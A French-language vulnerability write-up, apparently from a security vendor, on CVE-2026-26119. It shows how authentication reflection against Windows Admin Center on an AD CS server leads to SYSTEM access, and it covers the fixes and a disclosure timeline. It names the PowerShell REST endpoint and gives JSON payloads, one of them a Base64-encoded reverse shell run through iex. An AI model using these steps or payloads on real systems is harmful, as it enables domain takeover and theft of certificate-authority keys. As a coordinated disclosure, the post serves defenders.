À présent, vous êtes sans doute au courant du correctif récemment publié par Microsoft concernant une faille critique d'élévation de privilèges à distance (CVE-2026-26119) qui affectait Windows Admin Center et qui, dans certaines conditions, pouvait conduire à la compromission totale d'un domaine. J'ai découvert et signalé ce problème à Microsoft en juillet 2025. Maintenant que le correctif a été publié, je peux aborder cette vulnérabilité : pourquoi elle fonctionnait, pourquoi elle était subtile, et pourquoi les équipes informatiques et de cybersécurité sous-estiment encore la réflexion d'authentification.
Qu'est-ce que Windows Admin Center ?
À chaque fois que le Gestionnaire de serveur s'ouvre, il vous rappelle gentiment d'installer Windows Admin Center. D'habitude, je passe cette invite, mais la curiosité a fini par l'emporter et j'ai décidé de l'essayer.
Windows Admin Center est une plateforme de gestion accessible via un navigateur, conçue pour remplacer les composants logiciels enfichables traditionnels de la Microsoft Management Console (MMC) et réduire le recours à l'accès direct à PowerShell. La plateforme :
- est accessible en ligne
- prend en charge l'authentification intégrée Windows (WIA)
- met à disposition des points de terminaison REST pour les actions de gestion privilégiées
La plateforme fonctionne sous la forme d'une application .NET hébergée sur le serveur web Kestrel et expose une passerelle de gestion HTTP (Figure 1).
Les coulisses de Windows Admin Center
Après quelques essais et une tentative pour mieux comprendre le fonctionnement de Windows Admin Center, j'ai décidé d'intercepter et d'analyser ses requêtes afin de voir ce qui se passait réellement.
Une fois l'authentification effectuée, dans ce cas via WIA, l'application installe plusieurs cookies essentiels, tels que WAC-SESSION et les jetons anti-falsification associés (figure 2).
Il n'a pas fallu longtemps pour identifier des points de terminaison REST intéressants permettant l'exécution de code, comme celui illustré à la figure 3. Celui-ci se trouve sous /api/services/WinREST/Powershell/nodes//InvokeCommand.
Cette interface semblait très facile à exploiter, j'ai donc décidé de réitérer la requête pour exécuter un simple whoami.exe, en redirigeant la sortie vers un fichier et en récupérant son contenu.
Il restait toutefois une réserve importante : chaque requête nécessitait une nouvelle authentification, y compris le cookie WAC-SESSION initial et le jeton anti-falsification correspondant (figure 4).
Surprise : ça a marché !
Réflexion sur l'authentification dans Windows Admin Center
Même si ce point de terminaison semblait être une simple cible de relais d'authentification, ce qui m'intéressait vraiment, c'était la réflexion d'authentification. Je voulais déterminer si un utilisateur de domaine disposant de privilèges limités pouvait forcer à distance l'authentification de la machine et la renvoyer vers Windows Admin Center afin d'obtenir un accès NT AUTHORITY\SYSTEM.
J'ai déjà publié une explication détaillée de l'exploitation de la réflexion d'authentification sur mon blog personnel, je ne vais donc pas revenir là-dessus ici. Les correctifs récents de Microsoft ayant bloqué l'exploitation de l'astuce CredMarshalTargetInfo et de GhostSPN pour la coercition via SMB, la seule option restante consistait à s'appuyer sur un déclencheur RPC/DCOM. Le candidat idéal ? Un serveur Active Directory Certificate Services (AD CS) sur lequel Windows Admin Center est installé.
Dans cette configuration, tout utilisateur de domaine authentifié pourrait forcer à distance l'authentification de la machine via DCOM, comme je l'ai démontré avec mon outil ADCSCoerce Potato, puis la retransmettre à un service HTTP. Le nom d'entité de service (SPN) étant sous le contrôle de l'attaquant, l'authentification locale peut être déclenchée à l'aide de Kerberos ou de NTLM.
Réussir à exécuter du code et à obtenir des droits d'accès NT AUTHORITY\SYSTEM sur un serveur AD CS revient en substance à une seule chose : un « certificat doré ». Ces droits d'administration permettent à l'attaquant de sauvegarder les clés publiques et privées de l'autorité de certification et de falsifier des certificats pour n'importe quel utilisateur, y compris les administrateurs de domaine, à des fins d'authentification des clients.
Comme je disposais déjà d'un outil personnalisé (dérivé de KrbRelay) prenant en charge le déclenchement DCOM à distance, j'ai choisi d'utiliser la réflexion Kerberos. Il ne me restait plus qu'à mettre en œuvre la logique du client HTTP nécessaire pour interagir avec les points de terminaison REST de Windows Admin Center et déclencher l'exécution du code.
Grâce à Burp pour déboguer le flux de session, la mise en œuvre du client Windows Admin Center s'est avérée assez simple. J'ai suivi une procédure en deux étapes : une première requête pour récupérer les cookies nécessaires, suivie d'une deuxième requête pour interagir avec les points de terminaison concernés.
Chacune de ces requêtes nécessitait une nouvelle authentification, ce qui impliquait un peu de travail supplémentaire, mais au final, cela a fonctionné comme prévu.
Ma charge utile polyvalente se présentait comme suit :
{"properties":{"script":"cmd.exe /c >c:\temp\out.txt; $a=get-content \"c:\temp\out.txt"; return $a"}}
La charge utile pourrait également être modifiée pour inclure du code PowerShell, par exemple pour créer un shell inversé ou effectuer toute autre action.
{"properties":{"script":"$b64='JGM9TmV3LU9iamVjdCBOZXQuU29ja2V0cy5UQ1BDbGllbnQoJzE5Mi4xNj..';$d = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($b64));iex $d"}}
Pour éviter d'avoir à gérer des séquences d'échappement complexes, la solution la plus simple consiste à utiliser une version encodée en Base64 du script que vous souhaitez exécuter.
Une fois tout configuré, j'ai décidé de faire un essai en utilisant une charge utile de shell inversé PowerShell depuis un ordinateur rattaché au domaine, D2S2, en tant qu'utilisateur disposant de privilèges limités.
Ma seule inquiétude restante concernait la protection étendue pour l'authentification (EPA), qui aurait empêché ce type de réflexion. Mais Windows Admin Center fonctionne sur le serveur web Kestrel plutôt que sur Microsoft Internet Information Services (IIS), et d'après ce que je savais, les fonctionnalités EPA ne sont pas implémentées dans Kestrel… et cela a fonctionné, sans EPA (Figure 5, Figure 6).
On a ainsi obtenu un shell disposant de tous les privilèges, s'exécutant sous le compte de l'ordinateur D2S3$ qui héberge à la fois Windows Admin Center et AD CS. Cette vidéo présente un autre exemple de sauvegarde des clés de l'autorité de certification :
L'étrange affaire de Windows 2025
J'avais initialement effectué ces tests sur un système Windows Server 2022, j'ai donc décidé de les refaire sur Windows Server 2025. À ma grande surprise, chaque tentative s'est soldée par un message « ACCÈS REFUSÉ ».
Après une analyse plus approfondie, il est apparu clairement que, sous Windows Server 2025 et Windows 11 24H2, l'EPA est appliquée de manière native par le pilote HTTP.SYS. Par conséquent, à moins que le backend n'intervienne explicitement pour modifier ce comportement, l'EPA est en pratique toujours activée.
Corrections pour CVE-2026-26119
En janvier 2026, Microsoft a publié le premier correctif, CVE-2026-20929, qui a permis de transposer les exigences EPA à d'autres versions de Windows en renommant les fonctions de liaison de canal d'origine avec le suffixe « _old » et en introduisant de nouvelles implémentations (figure 7).
Le 17 février, Microsoft a publié un correctif hors cycle pour Windows Admin Center concernant la vulnér abilité CVE-2026-26119.
Cette mise à jour a introduit un appel SetProperty(HttpServerChannelBindProperty), déléguant la gestion des jetons de liaison de canal (CBT) au pilote de noyau HTTP.SYS mis à jour (Figure 8).
La correction proprement dite a été fournie dans le correctif du noyau HTTP.SYS de janvier, qui active la fonctionnalité EPA par défaut. Cette nouvelle implémentation dans Windows Admin Center semble donc viser principalement à assurer la compatibilité future plutôt qu'à résoudre la cause profonde du problème.
Ce qu'il faut savoir sur la réflexion d'authentification
Windows Admin Center est un nouvel exemple qui montre à quel point les attaques par réflexion et par relais d'authentification peuvent être dangereuses, surtout lorsque (comme dans le cas présent) aucune mesure de protection efficace n'est disponible, à part la désinstallation du produit. Je ne dispose pas de chiffres officiels sur son utilisation, mais d'après mon expérience, Windows Admin Center est probablement moins répandu que d'autres outils d'administration. Cela ne signifie toutefois pas qu'il faille sous-estimer cette faille de sécurité, car des scénarios similaires auraient pu exister depuis des années.
Heureusement, grâce à l'application des exigences CBT directement au niveau du pilote HTTP.SYS, ce type d'attaque a été définitivement neutralisé. Vous pouvez également mettre en œuvre les mesures suivantes pour prévenir de manière générale les attaques par réflexion d'authentification :
- Imposer la signature et la liaison de canal partout
- Corriger les vulnérabilités liées à la coercition
- Renforcez la sécurité des systèmes en désactivant les services inutiles et en utilisant des filtres RPC pour bloquer certains vecteurs d'attaque déclenchant une authentification
Chronologie
- 8 juillet 2025 : Vulnérabilité signalée au Centre de réponse aux incidents de sécurité de Microsoft (MSRC)
- 29 juillet 2025 : Problème confirmé par le MSRC
- 30 octobre 2025 : le MSRC a annoncé que le correctif serait publié début 2026
- 13 janvier 2026 : Microsoft a publié une première mise à jour de sécurité corrigeant cette faille (CVE-2026-20929)
- 17 février 2026 : Microsoft a publié une deuxième mise à jour de sécurité corrigeant un problème de fonctionnement de Windows Admin Center (CVE-2026-26119)
D'autres études menées par les experts de Semperis
